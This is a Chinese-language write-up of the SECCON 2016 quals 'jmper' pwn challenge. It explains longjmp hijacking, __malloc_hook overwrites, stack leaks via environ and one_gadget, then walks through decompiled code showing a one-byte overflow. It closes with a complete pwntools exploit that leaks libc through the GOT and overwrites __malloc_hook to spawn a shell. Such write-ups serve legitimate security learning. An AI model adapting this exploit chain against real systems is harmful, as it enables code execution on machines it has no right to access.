seccon-ctf-quals-2016-jmper300

一道有意思的题,复习一下几种小技巧:longjmp,hookfunc,one_gadget,environ…..

longjmp

1
2
int setjmp(jmp_buf env)
void long_jmp(jmp_buf env, int value)

其中jmp_buf就是一个int型数组,存储寄存器的值,setjmp最初返回值为0,long_jmp第二个值算是返回值,所以可以通过修改这个结构的值来劫持程序流。

hookfunc

libc里面有便于调试的malloc-hook,当知道libc地址且程序中有用到malloc,free,relloc等就可以使用hook,它只需要修改__malloc_hook等,将其改为任意可执行地址,再调用对应函数时就会跳转到改地址。

泄露栈地址

  1. 栈上会有一些残渣,上面可能有ebp值等栈地址相关数据
  2. libc里面的environ指向了栈上envp

one_gadget

libc里面有一些直接调用execve("/bin/sh", 0, environ)的代码,只要满足约束,直接跳转到这个位置就能getshell了,使用one_gadget即可找到他们在libc里面的偏移与需要满足的约束条件,下载:

1
2
3
#git clone https://github.com/david942j/one_gadget.git
#cd one_gadget
gem install one_gadget

使用:

找到后就一个一个试,要是运气好就能直接拿来用,当然,要使用这种技术是已知libc的版本为地址。

jmper

分析

本体给了libc,直接运行程序一脸懵逼,那就先检查一下保护:

然后就是ida分析了:

1
2
3
4
5
6
7
8
9
10
11
12
13
int __cdecl main(int argc, const char **argv, const char **envp)
{
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(_bss_start, 0LL, 2, 0LL);
puts("Welcome to my class.");
puts("My class is up to 30 people :)");
my_class = (struct student *)malloc(0xF0uLL); //分配一片空间存放students,可以存放30个pointer
jmpbuf = (struct __jmp_buf_tag *)malloc(0xC8uLL); //划重点
if ( !_setjmp(jmpbuf) )
f(); //进入f
puts("Nice jump! Bye :)");
return 0;
}

在f函数里面:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
void __noreturn f()
{
char chr; // [rsp+3h] [rbp-1Dh]
char chr2; // [rsp+3h] [rbp-1Dh]
int id; // [rsp+4h] [rbp-1Ch]
int opt; // [rsp+8h] [rbp-18h]
int i; // [rsp+Ch] [rbp-14h]
_BYTE *p; // [rsp+10h] [rbp-10h]
struct student *tmpStu; // [rsp+18h] [rbp-8h]

student_num = 0;
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
puts("1. Add student.\n2. Name student.\n3. Write memo\n4. Show Name\n5. Show memo.\n6. Bye :)");
__isoc99_scanf("%d", &opt);
getchar();
if ( opt != 1 )
break;
if ( student_num > 29 )
{
puts("Exception has occurred. Jump!"); //与其他的不同之处,留意
longjmp(jmpbuf, 114514);
}
tmpStu = (struct student *)malloc(0x30uLL);
*(_QWORD *)&tmpStu->stuNum = student_num;
tmpStu->name = (char *)malloc(0x20uLL);
*((_QWORD *)my_class + student_num++) = tmpStu;
}
if ( opt != 2 )
break;
printf("%s", "ID:");
__isoc99_scanf("%d", &id);
getchar();
if ( id >= student_num || id < 0 )
{
puts("Invalid ID.");
exit(1);
}
printf("%s", "Input name:");
p = *(_BYTE **)(*((_QWORD *)my_class + id) + 0x28LL);
for ( i = 0; i <= 32; ++i ) //明显的,这里有一个字节的溢出
{
chr = getchar();
if ( chr == '\n' )
break;
*p++ = chr;
}
}
if ( opt != 3 )
break;
printf("%s", "ID:");
__isoc99_scanf("%d", &id);
getchar();
if ( id >= student_num || id < 0 )
{
puts("Invalid ID.");
exit(1);
}
printf("%s", "Input memo:");
p = (_BYTE *)(*((_QWORD *)my_class + id) + 8LL);
for ( i = 0; i <= 32; ++i )
{
chr2 = getchar();
if ( chr2 == '\n' )
break;
*p++ = chr2;
}
}
if ( opt != 4 )
break;
printf("%s", "ID:");
__isoc99_scanf("%d", &id);
getchar();
if ( id >= student_num || id < 0 )
{
puts("Invalid ID.");
exit(1);
}
printf("%s", *(_QWORD *)(*((_QWORD *)my_class + id) + 40LL));
}
if ( opt != 5 )
break;
printf("%s", "ID:");
__isoc99_scanf("%d", &id);
getchar();
if ( id >= student_num || id < 0 )
{
puts("Invalid ID.");
exit(1);
}
printf("%s", *((_QWORD *)my_class + id) + 8LL);
}
exit(0);
}

其中student结构体是从上面代码分析出来的,结构如下:

利用

现在已经发现了漏洞位置,就来分析利用方法,观察student结构可以看到,溢出覆盖到的是name域低位,name域存放的是一个指向char数组的pointer,于是通过修改那一位,可以控制一个指针低8位,但是这似乎用处不太大,需要更进一步,当新建两个学生时,观察内存:

因为它们是连续分配且此时内存比较整齐,它们位置是比较靠近的,第一个学生的name域与第二个学生的name域指针都只有最后一字节不同,且与自身位置同样只有最后一字节不同,于是当修改第一个学生的name低位,可以使其指向第二个学生的name域,而此时写入的数据将会覆盖name这个指针,这样就能控制一个完整的指针了,而showName可以读取指针指向的内容,writeName可以修改指针指向的内容,于是造成任意内存读写,参照上面的保护,不能劫持GOT了,也不能直接在数据区写shellcode,但是可以利用上面介绍的方法:

  1. 通过读取jmpbuf获取关键寄存器,同时得知stack等位置,jmpbuf在bss上,位置固定
  2. 通过读取got得libcbase,再获取environ得栈地址
  3. 得libc地址后使用one_gadget覆盖__malloc_hook,再次添加学生
  4. long_jmp返回地址改为one_gadget地址
  5. main返回地址改为one_gadget地址
    ………….

这里就使用read->got->libc->one_gadget->hookmalloc->addStudent->getshell

#!/usr/bin/env python
# coding=utf-8
from pwn import *

binary,ip,port = 'jmper','127.0.0.1',1234
libc = 'libc-2.19.so'
one_gadget = 0x46428

def Add():
    p.sendlineafter('6. Bye :)\n','1')

def reName(stuNum,data):
    p.sendlineafter('6. Bye :)\n','2')
    p.sendlineafter('ID:',str(stuNum))
    p.sendlineafter('Input name:',data)

def reMemo(stuNum,data):
    p.sendlineafter('6. Bye :)\n','3')
    p.sendlineafter('ID:',str(stuNum))
    p.sendafter('Input memo:',data)

def showName(stuNum):
    p.sendlineafter('6. Bye :)\n','4')
    p.sendlineafter('ID:',str(stuNum))
    return p.recvuntil('1. Add student.')[:-15]

def showMemo(stuNum):
    p.sendlineafter('6. Bye :)\n','5')
    p.sendlineafter('ID:',str(stuNum))
    return p.recvuntil('1. Add student.')[:-15]

def init():
    global p
    if args.REMOTE:
        p = remote(ip,port)
    else:
        p = process(binary)
    p.recvuntil('people :)')
    Add()               #新建两个学生
    Add() 
    reMemo(0,'A'*32+'\x78') #讲学生1指向学生2的name

def myRead(Addr):
    reName(0,Addr)
    return showName(1)

def myWrite(Addr,data):
#    if '\n' in data:
#        log.failure("bad char!"+data)
    reName(0,Addr)
    reName(1,data)

if '__main__' == __name__:
    init()
    elf = ELF(binary)
    lib = ELF(libc)
    #libcbase
    putsGot=elf.got['puts']
    tmp = myRead(p64(putsGot))
    putsAddr = u64(tmp+(8-len(tmp))*'\x00')
    print 'putsAddr:',hex(putsAddr)
    libcbase = putsAddr - lib.symbols['puts'] 
    hook = libcbase + lib.symbols['__malloc_hook']
    print '__malloc_hook:',hex(hook)
    one_gadget += libcbase
    print 'one_gadget:',hex(one_gadget)
    #gdb.attach(p)
    myWrite(p64(hook),p64(one_gadget))
    Add()
    p.interactive()
#    raw_input('#')

参考

bamboofox-12-02读书会Part